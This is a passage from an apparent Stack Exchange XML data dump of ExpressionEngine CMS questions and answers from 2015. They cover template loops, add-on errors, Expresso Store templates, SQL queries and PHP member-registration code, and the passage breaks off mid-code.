  <row Id="34668" PostTypeId="1" AcceptedAnswerId="34669" CreationDate="2015-11-09T16:33:54.297" Score="0" ViewCount="521" Body="&lt;p&gt;I have a exp:channel:categories loop that is filtered by category group, and within that I have an exp:channel:entries loop that is filtered by category_id.  This outputting the data that I expecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that I need to get a count on the entries loop, but all I am able to get is a count on the categories loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a slimmed down version of my loops:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories style=&quot;linear&quot; category_group=&quot;2&quot;}          &#xA;    {exp:channel:entries channel=&quot;team&quot; category=&quot;{category_id}&quot;}&#xA;        {title} - {count}&#xA;    {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need to get a count on the channel entries, not the channel categories.&lt;/p&gt;&#xA;" OwnerUserId="5041" LastActivityDate="2017-11-10T17:23:16.550" Title="How do I get the Channel Entries count within a Channel Categories loop?" Tags="|categories|entries|count|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34669" PostTypeId="2" ParentId="34668" CreationDate="2015-11-09T17:10:06.930" Score="0" Body="&lt;p&gt;Use an embed. Take your &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop and put it in it's own template partial. Make a template group and template for it, something like &lt;code&gt;embeds/myloop&lt;/code&gt;. You can then pass the &lt;code&gt;category_id&lt;/code&gt; as a parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee2docs.com/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;http://ee2docs.com/templates/embedding.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your final categories loop will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories style=&quot;linear&quot; category_group=&quot;2&quot;}          &#xA;&#xA;    {embed=&quot;embeds/myloop&quot; cat_id=&quot;{category_id}&quot;}&#xA;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and your embed will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;team&quot; category=&quot;{cat_id}&quot;}&#xA;&#xA;    {title} - {count}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-11-09T17:10:06.930" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34670" PostTypeId="1" AcceptedAnswerId="34912" CreationDate="2015-11-09T19:27:31.843" Score="1" ViewCount="101" Body="&lt;p&gt;I'm trying to uninstall two add-ons that we have no intention of using on the production version of this project (Store and Subscriptions). Unfortunately, every time I go to uninstall I get this message when I try to view the fields in a channel field group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0eLDZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0eLDZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm reading that right, it's telling me that the table for the add-on I just uninstalled doesn't exist. Um, duh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the error &lt;strong&gt;seems&lt;/strong&gt; to only occur when I try to view custom fields, I assumed it was because one of my fields was still set to the field type for this add-on (Subscriptions). I've double- and triple-checked (including looking at the database directly, in the &lt;code&gt;exp_channel_fields&lt;/code&gt; table) and not a single custom field is set to use the Subscriptions field type. I also checked Matrix since we're using it quite a bit and none of the columns are set to use that field type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Truly stuck. :/&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is NOT limited to just the Subscriptions add-on. It also happens when trying to uninstall Expresso Store.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2015-11-12T20:00:48.100" LastActivityDate="2015-12-02T12:17:39.370" Title="Uninstalling add-ons Subscriptions causing DB error" Tags="|custom-fields|module|addons|devdemon-subscriptions|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34672" PostTypeId="1" AcceptedAnswerId="34673" CreationDate="2015-11-09T21:31:20.207" Score="0" ViewCount="14" Body="&lt;p&gt;I have a Low Search form with two required fields, and am declaring these as required using the form tag's &quot;required&quot; parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One field is an input connected to a jQuery date picker. The other is a checkbox list. Selecting the date, but not choosing one of the checkbox options, then submitting the form gives me the expected error message. However, the value of the date input is cleared out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I keep the value chosen in the date picker after the error message is fired?&lt;/p&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2015-11-09T21:45:34.153" Title="Placeholder value of input cleared on error" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34673" PostTypeId="2" ParentId="34672" CreationDate="2015-11-09T21:45:34.153" Score="0" Body="&lt;p&gt;Right now, you don't. Low Search will redirect back to the form in the state it was before it was submitted (and before it was filled out). There's currently no way to retain the value that was submitted. I will make note of it as a Feature Request, tho.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-11-09T21:45:34.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34675" PostTypeId="1" AcceptedAnswerId="34677" CreationDate="2015-11-09T23:26:17.377" Score="0" ViewCount="36" Body="&lt;p&gt;I have a need to pull up related information from a different channel when placing an Expresso Store order. For some reason, this isn't working in my Order Received template. Any idea why not?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;A new order has been received!&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;Order ID: {order_id}&amp;lt;/h2&amp;gt;&#xA;&#xA;{items}&#xA;  {title}&#xA;  {modifiers}&#xA;    {if modifier_name == &quot;Vehicle ID&quot;}&#xA;      &amp;lt;h3&amp;gt;Specs&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;        {exp:channel:entries channel=&quot;vehicles&quot; entry_id=&quot;{modifier_value}&quot; dynamic=&quot;no&quot;}&#xA;          &amp;lt;li&amp;gt;Front Blade Size: {vehicleFrontBladeSize}&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {if:else}&#xA;      &amp;lt;p&amp;gt;{modifier_name} - {modifier_value}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;  {/modifiers}&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The email I receive looks like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A new order has been received!&#xA;&#xA;Order ID: 2&#xA;&#xA;Metal Frame Wipers&#xA;Specs&#xA;&#xA;Front Blade Size: {vehicleFrontBladeSize}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="659" LastActivityDate="2015-11-10T00:29:48.083" Title="How can I use a channel entries tag within an orders received email template?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34677" PostTypeId="2" ParentId="34675" CreationDate="2015-11-10T00:29:48.083" Score="0" Body="&lt;p&gt;You need to pass the entry_id instead of the modifier_value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;A new order has been received!&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;h2&amp;gt;Order ID: {order_id}&amp;lt;/h2&amp;gt;&#xA;&#xA;{items}&#xA;{exp:channel:entries channel=&quot;vehicles&quot; entry_id=&quot;{entry_id}&quot; dynamic=&quot;no&quot;}&#xA;  {title}&#xA;  {modifiers}&#xA;    {if modifier_name == &quot;Vehicle ID&quot;}&#xA;      &amp;lt;h3&amp;gt;Specs&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;ul&amp;gt;&#xA;          &amp;lt;li&amp;gt;Front Blade Size: {vehicleFrontBladeSize}&amp;lt;/li&amp;gt;&#xA;      &amp;lt;/ul&amp;gt;&#xA;    {if:else}&#xA;      &amp;lt;p&amp;gt;{modifier_name} - {modifier_value}&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;  {/modifiers}&#xA;{/exp:channel:entries}&#xA;{/items} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-11-10T00:29:48.083" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34678" PostTypeId="1" AcceptedAnswerId="34680" CreationDate="2015-11-10T04:51:20.510" Score="1" ViewCount="33" Body="&lt;p&gt;I am running EE 2.10.1 and LowSeg2Cat 2.8.1/3.0. On this &lt;a href=&quot;http://rouviere.com/photo/category/ming-tombs&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; more than 20 photos from the Ming Tomb category should be showing, however, only one appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the only category &lt;a href=&quot;http://rouviere.com/photo/&quot; rel=&quot;nofollow&quot;&gt;of many&lt;/a&gt; that does this. The other category images all display fine. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;photos&quot; limit=&quot;20&quot; category=&quot;{segment_3_category_id}&quot; disable=&quot;trackbacks&quot; pagination=&quot;bottom&quot;}&#xA;&amp;lt;div class=&quot;photo_thumb&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{site_url}photo/image/{url_title}/{segment_3}&quot;&amp;gt;&#xA;&amp;lt;img class=&quot;preview {if photo_orientation == 'vert'} vert{/if}&quot; src=&quot;/resources/stock/{photo_name}-tn.jpg&quot; data-fullimg=&quot;/resources/stock/{photo_name}-preview.jpg&quot; data-caption=&quot;{exp:char_limit total=&quot;40&quot;}{photo_caption}{/exp:char_limit}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end photo_thumb --&amp;gt;&#xA;&#xA;{paginate}&#xA;{if &quot;{total_pages}&quot; != 1}&#xA;&amp;lt;p id=&quot;pages&quot;&amp;gt;Page {current_page} of {total_pages}  {pagination_links}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clues as to why this is not working correctly along with a solution would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-11-10T08:22:19.413" Title="Renegade Category Defies LowSeg2Cat" Tags="|low-seg2cat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34679" PostTypeId="1" AcceptedAnswerId="34874" CreationDate="2015-11-10T07:19:45.583" Score="1" ViewCount="194" Body="&lt;p&gt;I'm using EE version 3.0.2. I created a channel but when I try to upload a file it gives the following error: &#xA;&lt;strong&gt;&quot;Error: The requested module is not installed: filepicker&quot;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/H45Dz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H45Dz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VRS1T.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VRS1T.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to find any solution to resolve this as I'm very new at using expression engine. Any help would really be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6831" LastActivityDate="2016-03-31T17:52:21.707" Title="Error: The requested module is not installed: filepicker" Tags="|ee2|file-uploads|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34680" PostTypeId="2" ParentId="34678" CreationDate="2015-11-10T08:22:19.413" Score="2" Body="&lt;p&gt;You have stumbled upon one of the classics in debugging ExpressionEngine. A still common gotcha that even seasoned veterans get bitten by every now and then. A property that makes us wonder: why is this still default behaviour? But why wonder...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-11-10T08:22:19.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34681" PostTypeId="1" AcceptedAnswerId="34685" CreationDate="2015-11-10T10:51:24.333" Score="0" ViewCount="39" Body="&lt;p&gt;I have and existing channel with existing entries. I added a new custom field, a radio button group, with options YES/NO, with the default option being YES.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field is now available in the edit entry form but it has no value set until I click an option (YES) and then save the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to set/publish the default value for all existing entries?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2015-11-10T21:15:08.983" Title="add/publish new field data for existing channel entries" Tags="|channel-entries|custom-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34683" PostTypeId="1" CreationDate="2015-11-10T12:53:56.467" Score="0" ViewCount="21" Body="&lt;p&gt;I just purchased and installed &lt;strong&gt;Field Editor 2&lt;/strong&gt; on EE 2.10.1 and after going to edit a field group it takes seriously long to load and I get the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error Was Encountered&#xA;Unable to load the requested file: field_row.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is doesn't matter is the field group contains no fields, 2 fields, or 10 fields. It still throughs the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checks file permissions etc but all OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be wrong?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2015-11-10T12:53:56.467" Title="Field Editor 2 broken: Unable to load the requested file: field_row.php" Tags="|field-editor|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34684" PostTypeId="1" CreationDate="2015-11-10T13:27:55.820" Score="2" ViewCount="53" Body="&lt;p&gt;I am currently running EE 2.9.2 and Subscriptions 1.6.0 with a Stripe payment gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I am running a live test with a $1 subscription plan with an interval of every 1 day for a max cycles of 1. In other words, a 1 day plan. Autorenew is OFF. Problem is simple: when I subscribe (with member registration allowed), the expiration date is not generated. It appears as NULL in the Db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was occurring earlier, as well, when I was running in TEST mode (using a member assigned as a test user in the Subscriptions CP). That test used a 1 year, non-renewing plan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else appears to be working correctly. Member is registered, moved to the proper member group, logged in on subscribe, stripe js (verifying...) works, payment is being processed, and subscription is recorded in CP. Everything but the expiry date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template follows the samples given fairly closely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:subs:subscribe&#xA;    register_member=&quot;yes&quot;&#xA;    plan=&quot;{segment_3}&quot;&#xA;    user_amount=&quot;{stash:v_user_amount}&quot;&#xA;    payment_method=&quot;stripe&quot;&#xA;    return=&quot;members/confirm-new/%SUBS_HASH%&quot;&#xA;}&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;https://js.stripe.com/v2/&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; class=&quot;stripe_public_key&quot; value=&quot;[...]&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;card_token&quot; class=&quot;stripe_token&quot;&amp;gt;&#xA;&#xA;    ...form fields..&#xA;&#xA;    &amp;lt;script src=&quot;https://[domain]/js/stripe.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;{/exp:subs:subscribe}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other add-ons being used:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assets&lt;/li&gt;&#xA;&lt;li&gt;Channel Videos&lt;/li&gt;&#xA;&lt;li&gt;Freeform Pro&lt;/li&gt;&#xA;&lt;li&gt;Google Maps for EE&lt;/li&gt;&#xA;&lt;li&gt;Stash, IfElse, Switchee&lt;/li&gt;&#xA;&lt;li&gt;SuperSearch&lt;/li&gt;&#xA;&lt;li&gt;User&lt;/li&gt;&#xA;&lt;li&gt;Wygwam&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="706" LastActivityDate="2015-11-10T13:27:55.820" Title="Why is DevDemon's Subscriptions not setting an expiry during the subscription process?" Tags="|devdemon|subscriptions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34685" PostTypeId="2" ParentId="34681" CreationDate="2015-11-10T21:15:08.983" Score="1" Body="&lt;p&gt;You'll have to run a query on the database to set the past entries' values for this new field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_id_XX = 'YES' WHERE field_id_XX == '' AND channel_id = X;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just replace &lt;code&gt;XX&lt;/code&gt; with the correct &lt;code&gt;field_id&lt;/code&gt; and &lt;code&gt;X&lt;/code&gt; with the correct &lt;code&gt;channel_id&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, as with anytime you run a write query on the database, back it up first!&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-11-10T21:15:08.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34686" PostTypeId="1" AcceptedAnswerId="34693" CreationDate="2015-11-10T21:49:20.133" Score="1" ViewCount="35" Body="&lt;p&gt;A specific user group on my website has the ability to create products on my website. This is all done using &lt;code&gt;Channel Form&lt;/code&gt; tags. Unregistered guests may purchase these products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the user group that creates these products, I need to create a widget that shows how many of their created products have been sold so far. But I am not sure what template tags would best suit my purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So after looking around the database, I found there are 3 tables necessary to create the query I want&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;FIND THE INTERSECTION OF THESE TWO TABLES&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exp_channel_data&lt;/code&gt; - to filter the entries to the specific product channel (i.e. &lt;code&gt;channel_id = 15&lt;/code&gt;).&#xA;&lt;code&gt;exp_channel_titles&lt;/code&gt; - to further filter the product channel entries by author ID (i.e. &lt;code&gt;author_id = CURRENT_USER&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;THEN FIND THE SUM OF THE ITEM TOTALS OF THE SUBSEQUENT RESULTS&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;exp_store_order_items&lt;/code&gt; - this is where I'd presumably use a SQL statement not very dissimilar from the one Justin Long provided me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_member_group == 1}&#xA;    {exp:query sql='SELECT SUM(item_qty) as totalSales FROM exp_store_order_items WHERE entry_id = {entry_id}'}&#xA;        {totalSales}&#xA;    {/exp:query}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2916" LastEditorUserId="2916" LastEditDate="2015-11-11T16:49:13.077" LastActivityDate="2015-11-11T16:49:13.077" Title="Use Expresso tags to show stock sold on front end" Tags="|expresso-store|ee2|database|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34687" PostTypeId="1" CreationDate="2015-11-10T22:05:38.427" Score="0" ViewCount="43" Body="&lt;p&gt;I have a template where &lt;code&gt;store_product_price&lt;/code&gt; shows the price (and dynamically updates when modifiers are selected) nearer the top of the template, but moved further down it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to show the price is a floating sidebar, but placed in that part of the HTML it doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've narrowed it down to the point at which it stops working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works (and anywhere higher up in the source):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;ITEM TOTAL: &amp;lt;span class=&quot;store_product_price&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't (and anywhere lower down):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;ITEM TOTAL: &amp;lt;span class=&quot;store_product_price&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Changing &lt;code&gt;section&lt;/code&gt; to &lt;code&gt;div&lt;/code&gt; doesn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced anything similar?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2016-05-17T14:48:07.137" Title="store_product_price doesn't work in certain parts of template" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34689" PostTypeId="2" ParentId="34600" CreationDate="2015-11-10T22:15:23.767" Score="1" Body="&lt;p&gt;Go to the preferences and turn off caching by setting the Refresh value from 10 minutes to 0 minutes. This solved all my problems (the ones that could be solved that is). So, yeah. That's how simple it was it seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Mitchell from Solspace for pointing this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, &lt;code&gt;allow_repeats=&quot;&quot;&lt;/code&gt; should not be in there at all, just so you who are reading this since you had the same problem as I had knows that too.&lt;/p&gt;&#xA;" OwnerUserId="6414" LastActivityDate="2015-11-10T22:15:23.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34690" PostTypeId="2" ParentId="387" CreationDate="2015-11-10T22:20:51.087" Score="0" Body="&lt;p&gt;I'd recommend Masuga's book &quot;The Guide to ExpressionEngine® Development&quot;, (&lt;a href=&quot;http://eeguidebook.com&quot; rel=&quot;nofollow&quot;&gt;http://eeguidebook.com&lt;/a&gt;) it walked me through it perfectly, and I had never used git or bitbucket before reading the book :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd start there.&lt;/p&gt;&#xA;" OwnerUserId="6414" LastActivityDate="2015-11-10T22:20:51.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34691" PostTypeId="2" ParentId="34687" CreationDate="2015-11-10T22:29:38.670" Score="0" Body="&lt;p&gt;I believe the code needs to be within our tag as the JS is added dynamically by the tag. So it will not work outside that area.&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2015-11-10T22:29:38.670" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34693" PostTypeId="2" ParentId="34686" CreationDate="2015-11-11T07:59:23.540" Score="1" Body="&lt;p&gt;There is not going to be an actual Store tag that you could use to get this. Having said that it should be fairly simple to query the DB for the information that you need. Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_in_member_group == 1}&#xA;    {exp:query sql='SELECT SUM(item_qty) as totalSales FROM exp_store_order_items WHERE entry_id = {entry_id}'}&#xA;        {totalSales}&#xA;    {/exp:query}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assumes the group id of the group you want to have access to it is 1 and the query is placed within the parent channel entries tag as we are using the entry_id to only show the results for that product. You might need to adjust it to your needs.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-11-11T07:59:23.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34694" PostTypeId="1" CreationDate="2015-11-11T09:16:47.157" Score="0" ViewCount="76" Body="&lt;p&gt;So i have written a custom module to do some stuff, but part of that stuff is to register a new member into EE. All of that is working great, but, it doesn't send the self activation email out (even though EE is configured too).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what i'm missing here codewise? From looking through the EE code, it should send the email. I get no errors either.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;model('member_model');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('security');&#xA;&#xA;$data['username']     = $this-&amp;gt;input-&amp;gt;post('username');&#xA;$data['password']    = do_hash($this-&amp;gt;input-&amp;gt;post('password'));&#xA;$data['email']        = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('email');&#xA;$data['ip_address']    = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;ip_address();&#xA;$data['unique_id']    = random_string('encrypt');&#xA;$data['join_date']    = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now;&#xA;$data['language']     = $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('deft_lang');&#xA;$data['timezone']     = ($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('default_site_timezone') &amp;amp;&amp;amp; $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('default_site_timezone') != '') ? $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('default_site_timezone') : $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('server_timezone');&#xA;$data['daylight_savings'] = ($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('default_site_dst') &amp;amp;&amp;amp; $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('default_site_dst') != '') ? $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('default_site_dst') : $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('daylight_savings');&#xA;$data['time_format'] = ($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('time_format') &amp;amp;&amp;amp; $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('time_format') != '') ? $this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('time_format') : 'us';&#xA;$data['group_id'] = 1;&#xA;&#xA;if ($this-&amp;gt;EE-&amp;gt;member_model-&amp;gt;get_members('', '', '', $data['username'], '', 'username')-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;   $this-&amp;gt;EE-&amp;gt;output-&amp;gt;show_user_error('submission', 'Username already exists!!!!');&#xA;}&#xA;&#xA;$member_id = $this-&amp;gt;EE-&amp;gt;member_model-&amp;gt;create_member($data);&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;member_model-&amp;gt;delete_member($member_id); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="42" LastEditorUserId="19" LastEditDate="2015-11-11T10:45:36.320" LastActivityDate="2015-11-11T10:45:36.320" Title="Trigger the member self activation email from custom add-on with member registration" Tags="|members|module|add-on-development|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34695" PostTypeId="2" ParentId="34694" CreationDate="2015-11-11T10:42:56.110" Score="1" Body="&lt;p&gt;The email are being sent with help of Email library. In the code you posted, there is no reference for it, therefore no emails go out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is sample code for sending member activation email from &lt;a href=&quot;https://github.com/intoeetive/auto_register&quot; rel=&quot;nofollow&quot;&gt;one of my add-ons&lt;/a&gt; (you might need to modify it to match your needs)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;EE-&amp;gt;config-&amp;gt;item('req_mbr_activation') == 'email')&#xA;{&#xA;    $action_id  = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;fetch_action_id('Member', 'activate_member');&#xA;&#xA;    $name = ($data['screen_name'] != '') ? $data['screen_name'] : $data['username'];&#xA;&#xA;    $board_id = ($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('board_id') !== FALSE &amp;amp;&amp;amp; is_numeric($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('board_id'))) ? $this-&amp;gt;EE-&amp;gt;input-&amp;gt;get_post('board_id') : 1;&#xA;&#xA;    $forum_id = 